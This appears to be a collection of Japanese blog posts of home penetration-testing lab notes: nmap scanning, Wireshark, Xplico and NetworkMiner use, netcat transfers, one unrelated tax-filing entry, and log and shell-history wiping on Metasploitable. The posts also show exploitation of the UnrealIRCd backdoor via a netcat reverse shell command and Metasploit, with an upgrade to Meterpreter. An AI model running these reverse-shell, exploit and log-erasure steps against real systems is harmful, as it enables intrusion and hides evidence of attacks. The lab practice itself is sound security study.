UDP スキャン

UDP スキャン

よく使われるUDPサービスは
DNS の53ポート
SMNP の161/162 ポート
DHCP の 67/68 ポート

今回は Metasploitable の 111 ポートのスキャン

nmap -sU -p 111 192.168.1.137

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.137
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

Flow type は
All Flows のままでOK

これで2つ目までの通信で応答があることで
ポートが開いているのがわかる

次に windows10 のフィルタリングされている53ポートに
UDPスキャンを実行

nmap -sU -p 53 192.168.1.166

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.166
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

この場合応答はないけど
UDPサービスによっては応答はないけど
サービスが開いていることがあるので

Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-19 07:15 JST
Nmap scan report for DESKTOP-GGEV0LD (192.168.1.166)
Host is up (0.00029s latency).

PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 08:00:27:AB:0B:84 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds

というように
open/filltered
という結果が
nmap で表示される

次に閉じている2050番ポートへのスキャン
今回は Metasploitable へ行う

nmap -sU -p 2050 192.168.1.166

を KaliLInux で実行

wireshark では
ip.addr==192.168.1.166
としてパケットを絞り込んでおく

Staticstics > Flow Graph

フロー図を表示

ARPが表示されると見えにくいので
Limit to display filter にチェックをいれる

すると
ICMPポート到達不能エラーが帰ってくるので
この場合
ポートが閉じていると判断できる

なおUDPはTCPと違って
パケットの到達を保証しないのでスキャン結果には信頼性に欠ける

TCP SYN スキャン

TCP SYN スキャン

今回は
KaliLinux
metasploitable
Windows10
の3つの仮想マシンを
VirtualBox で起動

今回はTCP SYNスキャンを行う

この3つを起動したら
KaliLinux で

wireshark &


バックグラウンドでwireshark を起動

キャプチャ対象は eth0

次に KaliLinux から Windows10 に対して
445ポートをスキャン

まずは開いているポートに対して実行

nmap -sS -p 445 192.168.1.166

を実行

次に
wireshark のパケットを Windows10 のみにするので絞り込み

ip.addr==192.168.1.166

さらに見やすくするために
フロー図を表示する

Statistics > Flow Graph
でフロー図を表示

すると3回のやりとりがあるのがわかる

2回めの
SYN ACKまでは
TCPフルコネクトスキャンと同じだけど

RSTパケットを3回めで送ることで
通信を途中で止めている

次に閉じているポートに対して実行

今回は Metaspliitable に対して実行

nmap -sS -p 24 192.168.1.137

を実行

次に
wireshark のパケットを Metasploitable のみにするので絞り込み

ip.addr==192.168.1.137

さらに見やすくするために
フロー図を表示する

Statistics > Flow Graph
でフロー図を表示

すると今回は
2回のやりとりになる

TCP SYN スキャンは
ポートが開いていても通信を確立しているせず
RSTパケットを送り途中で通信をやめるので
サービスログに残らない

このためステルススキャンとも言われている

なおTCP SYNスキャンには root 権限が必要

nmap でスキャンの種類を指定しないと
TCP SYN スキャンで行うようになっている

Xplico によるキャプチャファイルの解析

Xplico によるキャプチャファイルの解析

WireShark だと画像やメールの解析は不向きなので
Xplico を使用

KaliLinux にインストールするには

apt install xplico -y
service apache2 restart 


Xplico の Webページが作成され
反映のために Apache2 を再起動

/etc/init.d/xplico start

でXplico を起動

次に
Firefox を起動し
http://localhost:9876/
へアクセス

–Language– を English
Username に admin
Pasword にxplico
でログイン

ログインして
コントロールパネルで
Menu から Users を選択すると登録されているユーザが表示される

今回は xplico ユーザを使うので
一度ログアウトし
xplico ユーザでログイン

xplicoユーザでも
ログインのパスワードは
xplico
となっている

ログインしたら
Case と Session を作成するので

New Case をクリック

データの解析を選択になるので
Uploading PCAP capture file/s
にチェックをいれると
キャプチャファイルの解析

Live acquisition ならリアルタイムの解析となる

今回はキャプチャファイルの解析をしたいので
Uploading PCAP capture file/s
を選択

Case name には任意のケース名
今回は First xplico search として

External reference は空白のままでOK

Create をクリック

これでCase が作成されるので
作成された Case をクリック

New Session をクリック

Session name に任意のセッション名を入力
今回は first session としてみた

Create をクリック

これで Case と Sesssion ができたので
次にファイルをアップロードするので
作成したセッションをクリック

アップロードするために
Browseをクリックし
pcap 形式ファイルを選択

Upload をクリック

これでファイルが解析され
解析結果が表示される

NetworkMiner

NetworkMiner

まず必要なパッケージのインストール

apt-get install libmono-system-windows-forms4.0-cil
apt-get install libmono-system-web4.0-cil
apt-get install libmono-system-net4.0-cil
apt-get install libmono-system-runtime-serialization4.0-cil
apt-get install libmono-system-xml-linq4.0-cil
mono --version

で mono のバージョンを確認

ver 5 より新しいのであれば次に
NetworkMiner のインストール

wget https://www.netresec.com/?download=NetworkMiner -O /tmp/nm.zip

でファイルを取得

sudo unzip /tmp/nm.zip -d /opt/


/opt/以下へ展開

cd /opt/NetworkMiner*

で移動

chmod +x NetworkMiner.exe
chmod -R go+w AssembledFiles/
chmod -R go+w Captures/ 

で権限変更

mono /opt/NetworkMiner_2-5/NetworkMiner.exe 

で起動できる

Wireshark

Wireshark

wireshark 

で起動

キャプチャを開始するには
Capture > Options

これでどのLANアダプターをキャプチャするか選択できる

今回は eth0 にするので
Promiscuous にチェックがあるのを確認
Start をクリック

これでキャプチャが開始される

次にHTTPパケットを観察するので
Firefox を起動し
適当に巡回しておく

このままだとわかりにくいので
http に絞り込み Enter

OCSP も表示されるが
これは公開鍵証明書の失効状態を取得するプロトコル

ほかにもSSDP が表示されることもある

SSDP は
ネットワーク上のUPnPデバイスを検出するためのプロトコル

詳しくは
SSDPとは

を参考に

SSDPを除外したいのなら
http && tcp
とすればOK

もしGETのみ表示したいのなら
http.request.method == “GET”
とすればOK

次にキャプチャフィルター

特定のパケットのみ取得するようになるので
ストレージ圧迫を軽減できるようになる

Capture > Capture Filters …
をクリック

これでフィルターが表示されるので
選択してOKを押せば絞り込みができる

構文で
host IPアドレス
となっているなら
指定したIPアドレスとの送受信をキャプチャ

ip src host IPアドレス
なら
送信元が指定したIPアドレスのパケットのみキャプチャ

port ポート番号
なら
指定したポートの通信をキャプチャ

not icmp
なら
ICMPパケット以外をキャプチャ

tcp dst port ポート番号
なら
宛先ポート番号が指定したポート番号のパケットだけキャプチャ

となる

例えば
HTTP TCP Port(80)
とすると
表示されるものが絞られる

なおキャプチャしたデータは
pcap もしくは
pcapng で保存される

ctrl + s で保存ができる

デフォルトは
pcapng 形式での保存となる

テキストエディタで参照したいのなら
File > Export Packet Disections >
As Plain Text
とするとテキスト形式で出力できる

また1つ1つのパケットをみるより
全体をみるのなら
Analyze > Follow で
TCPやHTTPなどのストリームをみることができる

もし平文で認証データが送信されているのなら
ここで確認ができる

またデータストリームのエクスポートするだけなら
NetworkMiner が便利らしい

インストール方法については
NETRESEC Network Security Blog – Tag : Linux

を参考に

ただし
pcapng は使えないので
pcap 形式で保存する必要がある

ctrl + shift + s で Save as となるので
保存形式を
pcap で保存する

なお
pcap の大きさによってはフリーズするので
その場合
editcap などでファイルを分割する

Netcat による各種通信

Netcat による各種通信

まず Windows10 に Netcat をインストール

インストール方法がわからなかったので
HOW TO INSTALL AND USE NETCAT TOOL

の動画を参考に

https://eternallybored.org/misc/netcat/
からダウンロード

保存したら
右クリック > Extra here
で展開

netcat-1.11
ができるので
これをコピーして

PC > ローカルディスクC > Windows
へ貼り付け

次にローカルディスクCに
Nc フォルダを作成

nctest というテキストファイルを作成し
中身を
Netcat test
として保存

windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

コマンドプロンプトの起動については
Windows 10でコマンドプロンプトを素早く起動する方法

を参考に

cd ..
cd netcat-1.11

でディレクトリを移動

コマンドプロンプトで

nc -lvp 4444 < "C:\\Nc\nctest.txt

を起動

アクセスを許可するをクリック

次に KaliLinux を立ち上げ

nc 192.168.1.166 4444 > ncout

を実行

Windows で

Warning: forward host lookup failed for kali: h_errno 11001: HOST_NOT_FOUND
connect to [192.168.1.166] from kali [192.168.1.134] 47932: HOST_NOT_FOUND

と表示され

これで
KaliLinux にファイルが転送される

ctrl +alt +t で新しい端末を開き

ls ncout 
cat ncout 

でファイルの存在と中身の確認ができる

nc の通信を終了するには
ctrl + c

またテキストファイル以外にバイナリファイルを転送することもできる

今回は KaliLinux の
/bin/sh を windows10 に転送

KaliLinux で

nc -lvp 4444 < /bin/sh

として

Windows10 で
windowsキー + r で
ファイル名を指定して実行を開き

cmd
を入力して

shift + ctrl + Enter
で管理者権限で
コマンドプロンプトを起動

cd ..
cd netcat-1.11
nc 192.168.1.134 4444 > bin_bak

とすると

netcat-1.11
の中に bin_bak が作成される

なお Windows10 のリアルタイム保護により
nc が削除されることがあるため
このときには
nc を再度コピペして行う

次にファイルのリアルタイム監視

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

-l オプションでリッスンモード
-p オプションはポートの指定

今回は9999番ポートで待受

次に
ctrl + alt + t で新しい端末を起動

tail -f log.txt 

とすると
log.txt の内容をリアルタイム監視できる

tail コマンドについては
tailコマンドについて詳しくまとめました 【Linuxコマンド集】

を参考に

-f オプションでファイルのリアルタイム監視ができる

次にコマンドの記録を行ってみる

ctrl + alt + t で端末を新しい端末を起動

nc コマンドを実行するとき q オプションで
指定した秒数待機してから終了する
今回は1秒

nc コマンドの q オプションについては
マニュアルページセク ション 1: ユーザーコマンド

を参考に

echo "date" | nc -q 1 192.168.1.134 9999

を実行すると
date

log.txt に書き込まれる

nc が終了してしまうので
再度

nc -lp 9999 >> log.txt

を実行し
TCP サーバーとして動作

今度は

date | nc -q 1 192.168.1.134 9999

を実行

すると
Sun 22 Mar 2020 12:57:06 AM JST
というように
date コマンドの結果が
log.txt
ファイルに追記されるのがわかる

療育手帳と確定申告

療育手帳と確定申告

http://www.nta.go.jp/
へアクセス

確定申告特集をクリック

確定申告などの作成はこちら
をクリック

作成開始をクリック

e-Tax で提出
マイナンバーカード方式
をクリック

事前準備セットアップファイルのダウンロード
をクリック

令和元年分事前準備セットアップ
をクリック

ダウンロードした jizenMac.dmgをクリック
なおブラウザ起動していると実行できないので注意

wizen_mac.pkg が出るのでクリック

しかし
悪質なソフトウェアかどうかをAppleでは確認できないため、このソフトウェアは開けません。
となる

以前に似たような事があったので
ctrl を押しながら開くと
なぜか開ける

これでインストールを進めていくと
sakushu というフォルダができるので
ルート証明書のインストール

Finder で
アプリケーション > ユーティリティー >
キーチェーンアクセス

システムをクリックして
ファイル > 読み込む

APCA2root.der
を開く

同様に
OSCA2root.der 
APCA2sub_ocsp.der

も追加しておく

次に safari を起動
safari > 環境設定

機能拡張をクリック

No1 確定申告
No2 確定申告書
e-Tax ソフト
にチェックを入れ
機能拡張を追加をクリック

ここまでできたら
確定申告書作成コーナー
をクリック

これで
OS
Safari
のバージョンが推奨を満たしているなら
正常に適用されてます
と出るので

理容規約に同意して次へ
をクリック

これで作成開始
マイナンバーカードを
IC カードリーダーにセットし

マイナンバーカードの読み取りをクリック

これで
利用者証明用電子証明書のパスワードを入力

次にマイナンバーカード情報の確認へ
をクリック

マイナンバーカードの読み取り
をクリック

券面事項入力補助用暗証番号を入力

情報が正しいなら
次へをクリック

利用者情報の入力で
6桁の納税用確認番号の入力があるので忘れずに

これで送信すると
利用者識別番号が発行される

次へをクリックし

所得税
をクリック

左記以外の所得のある方
をクリック

e-Tax で提出し青色申告しないのなら
そのまま下へスクロールし
入力終了をクリック

給与所得の入力するをクリック

令和元年分 源泉徴収票をもとに
入力していく

次に所得控除の入力

障害者控除の入力をクリック
療育手帳には
A なら特別障害者
B なら特別障害者以外の障害者
となる

私の場合は
療育手帳 B なので
特別障害者以外の障害者

次へ進むをクリック

これであとは
入力終了(次へ)をクリックしていく

特に収入などがないのなら
受取方法の選択になる

通常は銀行になるけど
一部ネットバンクなどは対象外なので注意

次にマイナンバーの入力
家族全員のマイナンバーが必要になる

次にマイナンバーカードの読み取りがあり
ここで
署名用電子証明書暗証番号が必要になる

最後に送信するときにも
マイナンバーカードの読み取りがあり
利用者証明用電子証明書暗証番号
の入力が必要になる

Metasploitable のログ消去

Metasploitable のログ消去

ログの消去、改ざんにより
アタックの隠蔽、追跡逃れの可能性があがる

Linux の場合
ログファイルは
/var/log ディレクトリに格納されていることが多い

/var/log/btmp
ログイン失敗の記録
lastb コマンド で閲覧

/var/log/wtmp
ログイン成功の記録
last コマンドで閲覧

/var/log/lastlog
ユーザの最終ログインの記録
lastlog コマンドで閲覧

/var/faillog
ユーザのログイン失敗回数の記録
faillog コマンドで閲覧

/var/log/tallylog
ユーザのログイン失敗回数の記録
pam_tally2 コマンドで閲覧

これらのログファイルはバイナリファイルなので
内容の閲覧には専用コマンドを使う

ログ消しのために
rm コマンドを使ってもデータが見えなくなるだけで存在する

これは rm コマンドの場合
ファイルの iノードを指すリンクは削除されるけど
i ノードそのものは残っている
ショートカットを消したようなものでアンインストールしていないようなかんじ

完全に削除するには
shred コマンドを使い
3回ランダム情報を書き込み
最後にゼロで上書きしてからファイルを削除する

オプションなどについては
shred – ファイルを完全に削除 – Linuxコマンド

を参考に

sherd -n 3 -zu /var/log/messages

とすれば
-n 3 によりランダム情報を3回書き込み
-z で最後にゼロで上書き
-u で shred 終了後にファイルを削除
となる

ファイルの中身のみ削除するなら

> /var/log/messages

というようにリダイレクトを使う
これでファイルは残るが中身はなくなる

次にコマンド履歴の削除

↑キーを押すとコマンド履歴を出せる

KaliLinux の場合
bash は最新1000のコマンドを記録している

metasploitable の場合を調べるのなら

ssh msfadmin@192.168.1.137

で一度ログインし

echo $HISTSIZE

で調べると 500 であることがわかる

$HISTSIZE で設定されているので

export HISTSIZE=0

とすることで履歴が残らないように設定

> ~/.bash_history 

とすれば履歴の消去ができる

Unreal IRC バックドアへ接続 その2

Unreal IRC バックドアへ接続 その2

Unreal IRC のバックドアに接続するのに
今回は Netcat で行う

Metasploitable に

nmap -sV -O -p- 192.168.1.137

を実行し
ポートスキャンすると

6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

の結果から
IRCが稼働していることがわかる

ctrl + alt + t で端末を起動

nc -l -v -p 4444


4444ポートで待ち状態にする

使用しているオプションについては
-l
リッスンモード指定になり
インバウンド接続の待受

-v
接続状態に関する情報を表示

-p
ポートの指定

nc コマンドのオプションについては
オンラインソフトを使え! 「第12回 Netcat」

を参考に

オプション一覧について見たいのなら
ncコマンドの使い方

を参考に
ただし、こっちは英語

次に
ctrl + alt + t で端末をもうひとつ起動

nc 192.168.1.137 6667

で接続

ここで指定するIPは Metasploitable のもの

今回の場合なら
Metasploitable
192.168.1.137

KaliLinux
192.168.1.134

となっている

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Found your hostname (cached)

と表示されるので

AB; nc 192.168.1.134 4444 -e /bin/bash

を実行

AB は ab コマンドで
Apacheで標準に付いている
WEBサーバの性能を計測するためのコマンド

オプションなどについては
Apache Benchでサクッと性能テスト

を参考に

これを実行するとリバースシェルが作成され

最初に

nc -l -v -p 4444

を実行した端末側で

192.168.1.137: inverse host lookup failed: Unknown host
connect to [192.168.1.134] from (UNKNOWN) [192.168.1.137] 60708

の後に root 権限で任意のコマンドが実行できるようになり
リバースシェルを通じ
Metasploitable で実行される

例えば
id コマンドを実行すると

uid=0(root) gid=0(root)

という結果が表示される

Unreal IRC バックドアへ接続

Unreal IRC バックドアへ接続

IRCはチャットなどで使われるサーバー

業務などでの使い方については
業務で使うIRC

を参考に

Metasploitable に

nmap -sV -O -p- 192.168.1.137

を実行し
ポートスキャンすると

6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd

の結果から
IRCが稼働していることがわかる

次にこのUnrealIRC のバージョンを調べる

apt install hexchat -y

でIRCクライアント hexchat をインストール

hexchat 

で hexchat を起動

* Running IRC as root is stupid! You should
create a User Account and use that to login.
と root で IRC にログインするのは
望ましくないと警告されるけど OK をクリック

ダイアログがでるので Add をクリック

Metasploitable2 を入力し
Edit… をクリック

192.168.1.137/6667
というように
Metasploitable のIP / 6667
となるようにして
Close をクリック

これで Connect をクリック

接続成功するとチャンネルに参加するか聞かれるので
Nothing, I’ll join a chanel later
何もしない、」後でチャンネルに参加する
にしてOKをクリック

これで
irc.Metasploitable.LAN Unreal3.2.8.1
というメッセージから
ver 3.2.8.1 ということが確認できる

バージョンの確認ができたら
hextchat は閉じてOK

次に
Exploit Database

unreal irc 3.2.8.1
で検索すると
Metasploit に
Backdoor Command Execution
があることがわかる

msfconsole -q

でロゴなしでMetasploit を起動

search unrealirc

で探すと該当するモジュールがでてくる

use exploit/unix/irc/unreal_ircd_3281_backdoor 
set rhost 192.168.1.137

で使用するexploit と
対象となる Metasploitable のIPをセット

あとは

run

とすることで実行

これでセッションが確立され
id コマンドを実行すると
root 権限になっているのが確認できる

次にシェルを奪ったセッションを残して
Meterpreter に切り替える

ctrl + z で
セッションをバックグラウンドにできる

Background session 1? [y/N]  

となるので
y のあと Enter

show sessions

を実行すると現在のセッションを表示できる

これでバックグラウンドにできたので
Meterpreter セッションを確立させる

use post/multi/manage/shell_to_meterpreter 
set session 1
run


新しいセッションが確立される

show sessions

を実行すると現在のセッションを表示できる

現在


Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    192.168.1.134:4444 -> 192.168.1.137:44178 (192.168.1.137)
  2         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ metasploitable.localdomain  192.168.1.134:4433 -> 192.168.1.137:47848 (192.168.1.137)

となっているので
セッション2に切り替える

sessions -i 2

これで meterpreter に切り替えることができる

なお exit するとセッションが閉じてしまうので
残しておくには
ctrl +z でバックグラウンドにしておく

セッションを閉じるには
sessions コマンドの
-k オプションを使う

sessions -k 1